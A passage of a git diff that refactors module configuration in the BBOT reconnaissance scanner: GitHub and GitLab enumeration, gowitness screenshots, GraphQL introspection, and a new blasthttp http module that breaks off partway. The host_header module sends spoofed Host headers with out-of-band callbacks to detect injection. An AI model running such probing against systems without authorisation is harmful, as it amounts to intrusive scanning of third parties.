+                url_event = self.make_event(raw_url, "URL_UNVERIFIED", parent=repo_event, tags=["blasthttp-safe"])
                 if not url_event:
                     continue
                 await self.emit_event(
diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py
index 46b8b1935a..327bbfae0c 100644
--- a/bbot/modules/github_org.py
+++ b/bbot/modules/github_org.py
@@ -1,21 +1,21 @@
 from bbot.modules.templates.github import github
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class github_org(github):
     watched_events = ["ORG_STUB", "SOCIAL"]
     produced_events = ["CODE_REPOSITORY"]
-    flags = ["passive", "subdomain-enum", "safe", "code-enum"]
+    flags = ["safe", "passive", "subdomain-enum", "code-enum"]
     meta = {
         "description": "Query Github's API for organization and member repositories",
         "created_date": "2023-12-14",
         "author": "@domwhewell-sage",
     }
-    options = {"api_key": "", "include_members": True, "include_member_repos": False}
-    options_desc = {
-        "api_key": "Github token",
-        "include_members": "Enumerate organization members",
-        "include_member_repos": "Also enumerate organization members' repositories",
-    }
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Github token", sensitive=True)
+        include_members: bool = Field(True, description="Enumerate organization members")
+        include_member_repos: bool = Field(False, description="Also enumerate organization members' repositories")
 
     scope_distance_modifier = 2
 
@@ -90,7 +90,7 @@ async def handle_event(self, event):
             user = event.data
             self.verbose(f"Validating whether the organization {user} is within our scope...")
             is_org, in_scope = await self.validate_org(user)
-            if "target" in event.tags:
+            if "seed" in event.tags:
                 in_scope = True
             if not is_org or not in_scope:
                 self.verbose(f"Unable to validate that {user} is in-scope, skipping...")
diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py
index 37fd009bde..27125e7ce7 100644
--- a/bbot/modules/github_usersearch.py
+++ b/bbot/modules/github_usersearch.py
@@ -1,19 +1,20 @@
 from bbot.modules.templates.github import github
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class github_usersearch(github, subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["SOCIAL", "EMAIL_ADDRESS"]
-    flags = ["passive", "safe", "code-enum"]
+    flags = ["safe", "passive", "code-enum"]
     meta = {
         "description": "Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization.",
         "created_date": "2025-05-10",
         "author": "@domwhewell-sage",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "Github token"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True)
 
     async def handle_event(self, event):
         self.verbose("Searching for users with emails matching in scope domains")
@@ -33,7 +34,7 @@ async def handle_event(self, event):
                     email,
                     "EMAIL_ADDRESS",
                     parent=event,
-                    context=f"{{module}} found an {{event.type}} on the github profile {user_url}: {{event.data}}",
+                    context=f"{{module}} found an {{event.type}} on the github profile {user_url}: {{event.pretty_string}}",
                 )
 
     async def query_users(self, query):
diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py
index 34d88ba14d..d98039f211 100644
--- a/bbot/modules/github_workflows.py
+++ b/bbot/modules/github_workflows.py
@@ -3,29 +3,28 @@
 from pathlib import Path
 
 from bbot.modules.templates.github import github
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class github_workflows(github):
     watched_events = ["CODE_REPOSITORY"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "code-enum", "download"]
+    flags = ["safe", "passive", "code-enum", "download"]
     meta = {
         "description": "Download a github repositories workflow logs and workflow artifacts",
         "created_date": "2024-04-29",
         "author": "@domwhewell-sage",
-        "auth_required": True,
-    }
-    options = {"api_key": "", "num_logs": 1, "output_folder": ""}
-    options_desc = {
-        "api_key": "Github token",
-        "num_logs": "For each workflow fetch the last N successful runs logs (max 100)",
-        "output_folder": "Folder to download workflow logs and artifacts to",
     }
 
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True)
+        num_logs: int = Field(1, description="For each workflow fetch the last N successful runs logs (max 100)")
+        output_folder: str = Field("", description="Folder to download workflow logs and artifacts to")
+
     scope_distance_modifier = 2
 
     async def setup(self):
-        self.num_logs = int(self.config.get("num_logs", 1))
+        self.num_logs = self.config.get("num_logs", 1)
         if self.num_logs > 100:
             self.log.error("num_logs option is capped at 100")
             return False
@@ -44,12 +43,12 @@ def _api_response_is_success(self, r):
     async def filter_event(self, event):
         if "git" not in event.tags:
             return False, "event is not a git repository"
-        elif "github.com" not in event.data.get("url", ""):
+        elif "github.com" not in event.url:
             return False, "event is not a github repository"
         return True
 
     async def handle_event(self, event):
-        repo_url = event.data.get("url")
+        repo_url = event.url
         owner = repo_url.split("/")[-2]
         repo = repo_url.split("/")[-1]
         for workflow in await self.get_workflows(owner, repo):
diff --git a/bbot/modules/gitlab_com.py b/bbot/modules/gitlab_com.py
index 562c1456ea..3dd521eca2 100644
--- a/bbot/modules/gitlab_com.py
+++ b/bbot/modules/gitlab_com.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.gitlab import GitLabBaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class gitlab_com(GitLabBaseModule):
@@ -6,15 +7,17 @@ class gitlab_com(GitLabBaseModule):
     produced_events = [
         "CODE_REPOSITORY",
     ]
-    flags = ["active", "safe", "code-enum"]
+    flags = ["safe", "active", "code-enum"]
     meta = {
         "description": "Enumerate GitLab SaaS (gitlab.com/org) for projects and groups",
         "created_date": "2024-03-11",
         "author": "@TheTechromancer",
     }
 
-    options = {"api_key": ""}
-    options_desc = {"api_key": "GitLab access token (for gitlab.com/org only)"}
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field(
+            "", description="GitLab access token (for gitlab.com/org only)", sensitive=True
+        )
 
     # This is needed because we are consuming SOCIAL events, which aren't in scope
     scope_distance_modifier = 2
diff --git a/bbot/modules/gitlab_onprem.py b/bbot/modules/gitlab_onprem.py
index c01a68430f..b6751302f8 100644
--- a/bbot/modules/gitlab_onprem.py
+++ b/bbot/modules/gitlab_onprem.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.gitlab import GitLabBaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class gitlab_onprem(GitLabBaseModule):
@@ -9,7 +10,7 @@ class gitlab_onprem(GitLabBaseModule):
         "CODE_REPOSITORY",
         "FINDING",
     ]
-    flags = ["active", "safe", "code-enum"]
+    flags = ["safe", "active", "code-enum"]
     meta = {
         "description": "Detect self-hosted GitLab instances and query them for repositories",
         "created_date": "2024-03-11",
@@ -18,8 +19,10 @@ class gitlab_onprem(GitLabBaseModule):
 
     # Optional GitLab access token (only required for gitlab.com, but still
     # supported for on-prem installations that expose private projects).
-    options = {"api_key": ""}
-    options_desc = {"api_key": "GitLab access token (for self-hosted instances only)"}
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field(
+            "", description="GitLab access token (for self-hosted instances only)", sensitive=True
+        )
 
     # Allow accepting events slightly beyond configured max distance so we can
     # discover repos on neighbouring infrastructure.
diff --git a/bbot/modules/google_playstore.py b/bbot/modules/google_playstore.py
index 171bcb9b13..627016e3ec 100644
--- a/bbot/modules/google_playstore.py
+++ b/bbot/modules/google_playstore.py
@@ -4,7 +4,7 @@
 class google_playstore(BaseModule):
     watched_events = ["ORG_STUB", "CODE_REPOSITORY"]
     produced_events = ["MOBILE_APP"]
-    flags = ["passive", "safe", "code-enum"]
+    flags = ["safe", "passive", "code-enum"]
     meta = {
         "description": "Search for android applications on play.google.com",
         "created_date": "2024-10-08",
@@ -30,7 +30,7 @@ async def handle_event(self, event):
             await self.handle_org_stub(event)
 
     async def handle_url(self, event):
-        repo_url = event.data.get("url")
+        repo_url = event.url
         app_id = repo_url.split("id=")[1].split("&")[0]
         await self.emit_event(
             {"id": app_id, "url": repo_url},
diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py
index d3cb6a54e8..5e0ce0daab 100644
--- a/bbot/modules/gowitness.py
+++ b/bbot/modules/gowitness.py
@@ -1,42 +1,34 @@
 import os
+import sys
 import asyncio
 import aiosqlite
 import multiprocessing
 import platform
 from pathlib import Path
-from contextlib import suppress
-from shutil import copyfile, copymode
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class gowitness(BaseModule):
     watched_events = ["URL", "SOCIAL"]
     produced_events = ["WEBSCREENSHOT", "URL", "URL_UNVERIFIED", "TECHNOLOGY"]
-    flags = ["active", "safe", "web-screenshots"]
+    flags = ["safe", "active", "web-screenshots"]
     meta = {"description": "Take screenshots of webpages", "created_date": "2022-07-08", "author": "@TheTechromancer"}
-    options = {
-        "version": "3.0.5",
-        "threads": 0,
-        "timeout": 10,
-        "resolution_x": 1440,
-        "resolution_y": 900,
-        "output_path": "",
-        "social": False,
-        "idle_timeout": 1800,
-        "chrome_path": "",
-    }
-    options_desc = {
-        "version": "Gowitness version",
-        "threads": "How many gowitness threads to spawn (default is number of CPUs x 2)",
-        "timeout": "Preflight check timeout",
-        "resolution_x": "Screenshot resolution x",
-        "resolution_y": "Screenshot resolution y",
-        "output_path": "Where to save screenshots",
-        "social": "Whether to screenshot social media webpages",
-        "idle_timeout": "Skip the current gowitness batch if it stalls for longer than this many seconds",
-        "chrome_path": "Path to chrome executable",
-    }
+
+    class Config(BaseModuleConfig):
+        version: str = Field("3.1.1", description="Gowitness version")
+        threads: int = Field(0, description="How many gowitness threads to spawn (default is number of CPUs x 2)")
+        timeout: int = Field(10, description="Preflight check timeout")
+        resolution_x: int = Field(1440, description="Screenshot resolution x")
+        resolution_y: int = Field(900, description="Screenshot resolution y")
+        output_path: str = Field("", description="Where to save screenshots")
+        social: bool = Field(False, description="Whether to screenshot social media webpages")
+        idle_timeout: int = Field(
+            1800, description="Skip the current gowitness batch if it stalls for longer than this many seconds"
+        )
+        chrome_path: str = Field("", description="Path to chrome executable")
+
     deps_common = ["chromium"]
     deps_pip = ["aiosqlite"]
     deps_ansible = [
@@ -118,24 +110,11 @@ async def setup(self):
         if chrome_devel_sandbox.is_file():
             os.environ["CHROME_DEVEL_SANDBOX"] = str(chrome_devel_sandbox)
 
-        self.db_path = self.base_path / "gowitness.sqlite3"
         self.screenshot_path = self.base_path / "screenshots"
-        self.command = self.construct_command()
-        self.prepped = False
-        self.screenshots_taken = {}
-        self.connections_logged = set()
-        self.technologies_found = set()
+        self.helpers.mkdir(self.screenshot_path)
+        self.screenshot_count = 0
         return True
 
-    def prep(self):
-        if not self.prepped:
-            self.helpers.mkdir(self.screenshot_path)
-            self.db_path.touch()
-            with suppress(Exception):
-                copyfile(self.helpers.tools_dir / "gowitness", self.base_path / "gowitness")
-                copymode(self.helpers.tools_dir / "gowitness", self.base_path / "gowitness")
-            self.prepped = True
-
     async def filter_event(self, event):
         # Ignore URLs that are redirects
         if any(t.startswith("status-30") for t in event.tags):
@@ -152,78 +131,152 @@ async def filter_event(self, event):
                 return False, "event is not in-scope"
         return True
 
+    @staticmethod
+    def _url_key(parsed_url):
+        """Scheme-and-port-agnostic key for URL correlation.
+
+        Gowitness may change both the scheme and port of a URL it visits
+        (e.g. recording http://host:443/ for an input of http://host/ when
+        the server redirects to HTTPS). We key only by hostname + path so
+        correlation succeeds regardless of scheme/port differences.
+        """
+        hostname = parsed_url.hostname or ""
+        path = parsed_url.path or "/"
+        return f"{hostname}{path}"
+
+    def _resolve_parent(self, db_url):
+        """Match a URL from the gowitness DB back to the original input event.
+
+        Tries exact match first, then falls back to a scheme-and-port-agnostic
+        lookup for cases where gowitness transforms the stored URL (e.g. after
+        a redirect from http to https).
+        """
+        parent = self._event_dict.get(db_url)
+        if parent is None:
+            parent = self._event_dict_loose.get(self._url_key(self.helpers.urlparse(db_url)))
+        return parent
+
     async def handle_batch(self, *events):
-        self.prep()
-        event_dict = {}
+        # Each batch gets its own throwaway database. Nothing is persisted once the
+        # batch's events are emitted, which keeps memory flat regardless of scan size
+        # (gowitness's network_logs table grows enormous on large scans otherwise).
+        db_path = self.scan.temp_dir / f"gowitness_{self.helpers.rand_string()}.sqlite3"
+        self._event_dict = {}
+        self._event_dict_loose = {}
+        stdin_urls = []
         for e in events:
-            key = e.data
-            if e.type == "SOCIAL":
-                key = e.data["url"]
-            event_dict[key] = e
-        stdin = "\n".join(list(event_dict))
+            url = e.url if e.type == "SOCIAL" else (e.url or e.data)
+            stdin_urls.append(url)
+            self._event_dict[url] = e
+            self._event_dict_loose.setdefault(self._url_key(self.helpers.urlparse(url)), e)
+        stdin = "\n".join(stdin_urls)
 
         try:
-            async for line in self.run_process_live(self.command, input=stdin, idle_timeout=self.idle_timeout):
-                self.debug(line)
-        except asyncio.exceptions.TimeoutError:
-            urls_str = ",".join(event_dict)
-            self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False)
+            try:
+                async for line in self.run_process_live(
+                    self.construct_command(db_path), input=stdin, idle_timeout=self.idle_timeout
+                ):
+                    self.debug(line)
+            except asyncio.exceptions.TimeoutError:
+                urls_str = ",".join(self._event_dict)
+                self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False)
+                return
+
+            try:
+                await self.emit_results(db_path)
+            except aiosqlite.Error as e:
+                # gowitness exited before writing a usable database (chrome likely failed to
+                # launch), so the whole batch produced nothing
+                self.warning(
+                    f"Gowitness produced no results for {len(events)} URLs; chrome may have failed to launch ({e})",
+                    trace=False,
+                )
+        finally:
+            # discard the batch database; the screenshots themselves live on disk
+            db_path.unlink(missing_ok=True)
+
+    async def emit_results(self, db_path):
+        if not db_path.is_file():
             return
+        async with aiosqlite.connect(str(db_path)) as con:
+            con.row_factory = aiosqlite.Row
+            con.text_factory = self.helpers.smart_decode
 
-        # emit web screenshots
-        new_screenshots = await self.get_new_screenshots()
-        for filename, screenshot in new_screenshots.items():
-            url = screenshot["url"]
-            url = self.helpers.clean_url(url).geturl()
-            final_url = screenshot["final_url"]
-            filename = self.screenshot_path / screenshot["filename"]
-            filename = filename.relative_to(self.scan.home)
-            # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it.
-            filename = self.helpers.truncate_filename(filename)
-            webscreenshot_data = {"path": str(filename), "url": final_url}
-            parent_event = event_dict[url]
-            await self.emit_event(
-                webscreenshot_data,
-                "WEBSCREENSHOT",
-                parent=parent_event,
-                context=f"{{module}} visited {final_url} and saved {{event.type}} to {filename}",
-            )
+            # gowitness result_id -> the URL it visited, used to attribute child rows back to their page
+            result_urls = {}
 
-        # emit URLs
-        new_network_logs = await self.get_new_network_logs()
-        for url, row in new_network_logs.items():
-            ip = row["remote_ip"]
-            status_code = row["status_code"]
-            tags = [f"status-{status_code}", f"ip-{ip}", "spider-danger"]
+            # screenshots
+            async with con.execute("SELECT * FROM results") as cur:
+                async for row in cur:
+                    row = dict(row)
+                    raw_url = row["url"]
+                    result_urls[row["id"]] = raw_url
+                    final_url = row["final_url"]
+                    filename = self.screenshot_path / row["filename"]
+                    filename = filename.relative_to(self.scan.home)
+                    # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it.
+                    filename = self.helpers.truncate_filename(filename)
+                    parent_event = self._resolve_parent(raw_url)
+                    if parent_event is None:
+                        self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}")
+                        continue
+                    await self.emit_event(
+                        {"path": str(filename), "url": final_url},
+                        "WEBSCREENSHOT",
+                        parent=parent_event,
+                        context=f"{{module}} visited {final_url} and saved {{event.type}} to {filename}",
+                    )
+                    self.screenshot_count += 1
 
-            _id = row["result_id"]
-            parent_url = self.screenshots_taken[_id]
-            parent_event = event_dict[parent_url]
-            if url and url.startswith("http"):
-                await self.emit_event(
-                    url,
-                    "URL_UNVERIFIED",
-                    parent=parent_event,
-                    tags=tags,
-                    context=f"{{module}} visited {{event.type}}: {url}",
-                )
+            # network logs -> URLs (one event per unique URL within the batch)
+            seen_urls = set()
+            async with con.execute("SELECT * FROM network_logs") as cur:
+                async for row in cur:
+                    row = dict(row)
+                    url = row["url"]
+                    if not (url and url.startswith("http")) or url in seen_urls:
+                        continue
+                    seen_urls.add(url)
+                    raw_parent_url = result_urls.get(row["result_id"])
+                    if raw_parent_url is None:
+                        continue
+                    parent_event = self._resolve_parent(raw_parent_url)
+                    if parent_event is None:
+                        self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}")
+                        continue
+                    ip = row["remote_ip"]
+                    url_event = self.make_event(
+                        url,
+                        "URL_UNVERIFIED",
+                        parent=parent_event,
+                        tags=[f"status-{row['status_code']}", "spider-danger"],
+                        context=f"{{module}} visited {{event.type}}: {url}",
+                    )
+                    if url_event and ip:
+                        url_event.resolved_hosts = (sys.intern(ip),)
+                    await self.emit_event(url_event)
 
-        # emit technologies
-        new_technologies = await self.get_new_technologies()
-        for row in new_technologies.values():
-            parent_id = row["result_id"]
-            parent_url = self.screenshots_taken[parent_id]
-            parent_event = event_dict[parent_url]
-            technology = row["value"]
-            tech_data = {"technology": technology, "url": parent_url, "host": str(parent_event.host)}
-            await self.emit_event(
-                tech_data,
-                "TECHNOLOGY",
-                parent=parent_event,
-                context=f"{{module}} visited {parent_url} and found {{event.type}}: {technology}",
-            )
+            # technologies
+            async with con.execute("SELECT * FROM technologies") as cur:
+                async for row in cur:
+                    row = dict(row)
+                    raw_parent_url = result_urls.get(row["result_id"])
+                    if raw_parent_url is None:
+                        continue
+                    parent_event = self._resolve_parent(raw_parent_url)
+                    if parent_event is None:
+                        self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}")
+                        continue
+                    technology = row["value"]
+                    parent_url = self.helpers.clean_url(raw_parent_url).geturl()
+                    await self.emit_event(
+                        {"technology": technology, "url": parent_url, "host": str(parent_event.host)},
+                        "TECHNOLOGY",
+                        parent=parent_event,
+                        context=f"{{module}} visited {parent_url} and found {{event.type}}: {technology}",
+                    )
 
-    def construct_command(self):
+    def construct_command(self, db_path):
         # base executable
         command = ["gowitness", "scan"]
         # chrome path
@@ -231,7 +284,7 @@ def construct_command(self):
             command += ["--chrome-path", str(self.chrome_path)]
         # db path
         command += ["--write-db"]
-        command += ["--write-db-uri", f"sqlite://{self.db_path}"]
+        command += ["--write-db-uri", f"sqlite://{db_path}"]
         # screenshot path
         command += ["--screenshot-path", str(self.screenshot_path)]
         # user agent
@@ -250,61 +303,8 @@ def construct_command(self):
         command += ["file", "-f", "-"]
         return command
 
-    async def get_new_screenshots(self):
-        screenshots = {}
-        if self.db_path.is_file():
-            async with aiosqlite.connect(str(self.db_path)) as con:
-                con.row_factory = aiosqlite.Row
-                con.text_factory = self.helpers.smart_decode
-                async with con.execute("SELECT * FROM results") as cur:
-                    async for row in cur:
-                        row = dict(row)
-                        _id = row["id"]
-                        if _id not in self.screenshots_taken:
-                            self.screenshots_taken[_id] = row["url"]
-                            screenshots[_id] = row
-        return screenshots
-
-    async def get_new_network_logs(self):
-        network_logs = {}
-        if self.db_path.is_file():
-            async with aiosqlite.connect(str(self.db_path)) as con:
-                con.row_factory = aiosqlite.Row
-                async with con.execute("SELECT * FROM network_logs") as cur:
-                    async for row in cur:
-                        row = dict(row)
-                        url = row["url"]
-                        if url not in self.connections_logged:
-                            self.connections_logged.add(url)
-                            network_logs[url] = row
-        return network_logs
-
-    async def get_new_technologies(self):
-        technologies = {}
-        if self.db_path.is_file():
-            async with aiosqlite.connect(str(self.db_path)) as con:
-                con.row_factory = aiosqlite.Row
-                async with con.execute("SELECT * FROM technologies") as cur:
-                    async for row in cur:
-                        _id = row["id"]
-                        if _id not in self.technologies_found:
-                            self.technologies_found.add(_id)
-                            row = dict(row)
-                            technologies[_id] = row
-        return technologies
-
-    async def cur_execute(self, cur, query):
-        try:
-            return await cur.execute(query)
-        except aiosqlite.OperationalError as e:
-            self.warning(f"Error executing query: {query}: {e}")
-            return []
-
     async def report(self):
-        if self.screenshots_taken:
-            self.success(f"{len(self.screenshots_taken):,} web screenshots captured. To view:")
-            self.success("    - Start gowitness")
-            self.success(f"        - cd {self.base_path} && ./gowitness server")
-            self.success("    - Browse to http://localhost:7171")
+        if self.screenshot_count:
+            self.success(f"{self.screenshot_count:,} web screenshots captured. Saved to: {self.screenshot_path}")
         else:
             self.info("No web screenshots captured")
diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py
index a820bfb6f3..58552651d1 100644
--- a/bbot/modules/graphql_introspection.py
+++ b/bbot/modules/graphql_introspection.py
@@ -1,25 +1,24 @@
 import json
 from pathlib import Path
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class graphql_introspection(BaseModule):
     watched_events = ["URL"]
     produced_events = ["FINDING"]
-    flags = ["safe", "active", "web-basic"]
+    flags = ["safe", "active", "web"]
     meta = {
         "description": "Perform GraphQL introspection on a target",
         "created_date": "2025-07-01",
         "author": "@mukesh-dream11",
     }
-    options = {
-        "graphql_endpoint_urls": ["/", "/graphql", "/v1/graphql"],
-        "output_folder": "",
-    }
-    options_desc = {
-        "graphql_endpoint_urls": "List of GraphQL endpoint to suffix to the target URL",
-        "output_folder": "Folder to save the GraphQL schemas to",
-    }
+
+    class Config(BaseModuleConfig):
+        graphql_endpoint_urls: list[str] = Field(
+            ["/", "/graphql", "/v1/graphql"], description="List of GraphQL endpoint to suffix to the target URL"
+        )
+        output_folder: str = Field("", description="Folder to save the GraphQL schemas to")
 
     async def setup(self):
         output_folder = self.config.get("output_folder", "")
@@ -135,8 +134,16 @@ async def handle_event(self, event):
                 filename = self.output_dir / filename
                 with open(filename, "w") as f:
                     json.dump(response_json, f)
+                relative_path = str(filename.relative_to(self.scan.home))
                 await self.emit_event(
-                    {"url": url, "description": "GraphQL schema", "path": str(filename.relative_to(self.scan.home))},
+                    {
+                        "name": "GraphQL Schema",
+                        "url": url,
+                        "description": f"GraphQL Schema at {url}",
+                        "path": relative_path,
+                        "severity": "INFO",
+                        "confidence": "CONFIRMED",
+                    },
                     "FINDING",
                     event,
                     context=f"{{module}} found GraphQL schema at {url}",
diff --git a/bbot/modules/hackertarget.py b/bbot/modules/hackertarget.py
index b42352d473..ae93ef3d87 100644
--- a/bbot/modules/hackertarget.py
+++ b/bbot/modules/hackertarget.py
@@ -4,7 +4,7 @@
 class hackertarget(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the hackertarget.com API for subdomains",
         "created_date": "2022-07-28",
diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py
index a60967b8b4..02e9d60764 100644
--- a/bbot/modules/host_header.py
+++ b/bbot/modules/host_header.py
@@ -5,7 +5,7 @@
 class host_header(BaseModule):
     watched_events = ["HTTP_RESPONSE"]
     produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "web-thorough"]
+    flags = ["active", "loud", "web-heavy"]
     meta = {
         "description": "Try common HTTP Host header spoofing techniques",
         "created_date": "2022-07-27",
@@ -15,8 +15,6 @@ class host_header(BaseModule):
     in_scope_only = True
     per_hostport_only = True
 
-    deps_apt = ["curl"]
-
     async def setup(self):
         self.subdomain_tags = {}
         if self.scan.config.get("interactsh_disable", False) is False:
@@ -43,13 +41,16 @@ async def interactsh_callback(self, r):
                     return
                 matched_event = match[0]
                 matched_technique = match[1]
-
                 protocol = r.get("protocol").upper()
+                confidence = "HIGH" if protocol == "HTTP" else "MEDIUM"
                 await self.emit_event(
                     {
                         "host": str(matched_event.host),
-                        "url": matched_event.data["url"],
+                        "url": matched_event.url,
+                        "name": "Host Header Spoofing",
                         "description": f"Spoofed Host header ({matched_technique}) [{protocol}] interaction",
+                        "severity": "MEDIUM",
+                        "confidence": confidence,
                     },
                     "FINDING",
                     matched_event,
@@ -80,7 +81,7 @@ async def cleanup(self):
 
     async def handle_event(self, event):
         # get any set-cookie responses from the response and add them to the request
-        url = event.data["url"]
+        url = event.url
 
         added_cookies = {}
 
@@ -100,13 +101,13 @@ async def handle_event(self, event):
         self.debug(f"Performing {technique_description} case")
         subdomain_tag = self.rand_string(4, digits=False)
         self.subdomain_tags[subdomain_tag] = (event, technique_description)
-        output = await self.helpers.curl(
+        response = await self.helpers.request(
             url=url,
             headers={"Host": f"{subdomain_tag}.{self.domain}"},
             ignore_bbot_global_settings=True,
             cookies=added_cookies,
         )
-        if self.domain in output:
+        if response and self.domain in response.text:
             domain_reflections.append(technique_description)
 
         # absolute URL / Host header transposition
@@ -114,38 +115,39 @@ async def handle_event(self, event):
         self.debug(f"Performing {technique_description} case")
         subdomain_tag = self.rand_string(4, digits=False)
         self.subdomain_tags[subdomain_tag] = (event, technique_description)
-        output = await self.helpers.curl(
+        response = await self.helpers.request(
             url=url,
-            path_override=url,
+            request_target=url,
             cookies=added_cookies,
         )
-
-        if self.domain in output:
+        if response and self.domain in response.text:
             domain_reflections.append(technique_description)
 
         # duplicate host header tolerance
         technique_description = "duplicate host header tolerance"
-        output = await self.helpers.curl(
+        response = await self.helpers.request(
             url=url,
-            # Sending a blank HOST first as a hack to trick curl. This makes it no longer an "internal header", thereby allowing for duplicates
-            # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases.
+            method="HEAD",
+            # Sending duplicate Host headers to test server tolerance.
+            # The fact that it's accepting two host headers is rare enough to note on its own.
             headers={"Host": ["", str(event.host), str(event.host)]},
             cookies=added_cookies,
-            head_mode=True,
         )
 
-        split_output = output.split("\n")
-        if " 4" in split_output:
+        if response and response.status_code >= 400 and response.status_code < 500:
             description = "Duplicate Host Header Tolerated"
             await self.emit_event(
                 {
                     "host": str(event.host),
                     "url": url,
                     "description": description,
+                    "name": "Duplicate Host Header Tolerated",
+                    "severity": "INFO",
+                    "confidence": "LOW",
                 },
                 "FINDING",
                 event,
-                context=f"{{module}} scanned {event.data['url']} and identified {{event.type}}: {description}",
+                context=f"{{module}} scanned {event.url} and identified {{event.type}}: {description}",
             )
 
         # host header overrides
@@ -168,12 +170,12 @@ async def handle_event(self, event):
         for oh in override_headers_list:
             override_headers[oh] = f"{subdomain_tag}.{self.domain}"
 
-        output = await self.helpers.curl(
+        response = await self.helpers.request(
             url=url,
             headers=override_headers,
             cookies=added_cookies,
         )
-        if self.domain in output:
+        if response and self.domain in response.text:
             domain_reflections.append(technique_description)
 
         # emit all the domain reflections we found
@@ -184,6 +186,9 @@ async def handle_event(self, event):
                     "host": str(event.host),
                     "url": url,
                     "description": description,
+                    "name": "Possible Host Header Injection",
+                    "severity": "INFO",
+                    "confidence": "LOW",
                 },
                 "FINDING",
                 event,
diff --git a/bbot/modules/http.py b/bbot/modules/http.py
new file mode 100644
index 0000000000..8bb3b86979
--- /dev/null
+++ b/bbot/modules/http.py
@@ -0,0 +1,393 @@
+import time
+from http.cookies import SimpleCookie
+from urllib.parse import urlparse
+
+import blasthttp
+
+from bbot.core.helpers.web.web import iter_batch_results
+from bbot.core.helpers.web.response_event import response_to_event_dict
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class http(BaseModule):
+    watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"]
+    produced_events = ["URL", "HTTP_RESPONSE"]
+    flags = ["active", "safe", "web", "social-enum", "subdomain-enum", "cloud-enum"]
+    meta = {
+        "description": "Visit webpages using blasthttp (native Rust HTTP engine)",
+        "created_date": "2026-03-08",
+        "author": "@liquidsec",
+    }
+
+    class Config(BaseModuleConfig):
+        threads: int = Field(50, description="Number of concurrent requests")
+        in_scope_only: bool = Field(True, description="Only visit web resources that are in scope.")
+        max_response_size: int = Field(5242880, description="Max response size in bytes")
+        store_responses: bool = Field(False, description="Save raw HTTP responses to scan folder")
+
+    scope_distance_modifier = 2
+    _shuffle_incoming_queue = False
+    _batch_size = 250
+    _priority = 2
+    # accept Javascript URLs
+    accept_url_special = True
+
+    async def setup(self):
+        self.threads = self.config.get("threads", 50)
+        self.max_response_size = self.config.get("max_response_size", 5242880)
+        self.store_responses = self.config.get("store_responses", False)
+        self.client = self.helpers.blasthttp
+        self.waf_yara_rule = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True)
+        self._host_cooldowns = {}
+        self._deferred_events = []
+        self._429_retry_counts = {}
+        self._max_429_retries = 3
+        self._429_default_interval = self.scan.web_config.get("429_sleep_interval", 30)
+        self._429_max_interval = self.scan.web_config.get("429_max_sleep_interval", 60)
+        self._wakeup_target = 0
+        return True
+
+    async def filter_event(self, event):
+        if "_wildcard" in str(event.host).split("."):
+            return False, "event is wildcard"
+
+        if "unresolved" in event.tags:
+            return False, "event is unresolved"
+
+        if event.module == self:
+            return False, "event is from self"
+
+        if "spider-max" in event.tags:
+            return False, "event exceeds spidering limits"
+
+        # scope filtering
+        in_scope_only = self.config.get("in_scope_only", True)
+        if "blasthttp-safe" in event.tags:
+            return True
+        max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1)
+        if event.scope_distance > max_scope_distance:
+            return False, "event is not in scope"
+        return True
+
+    def make_url_metadata(self, event):
+        """Returns (urls, url_hash) where urls is a list (usually 1 item, but 2 for OPEN_TCP_PORT)."""
+        has_spider_max = "spider-max" in event.tags
+        url_hash = None
+        if event.type.startswith("URL"):
+            # we NEED the port, otherwise it will try HTTPS even for HTTP URLs
+            url = event.with_port().geturl()
+            if event.parsed_url.path == "/":
+                url_hash = hash((event.host, event.port, has_spider_max))
+            urls = [url]
+        else:
+            # OPEN_TCP_PORT — probe both http and https (but skip mismatched well-known ports)
+            host = event.host
+            port = event.port
+            netloc = self.helpers.make_netloc(host, port)
+            if port == 443:
+                urls = [f"https://{netloc}/"]
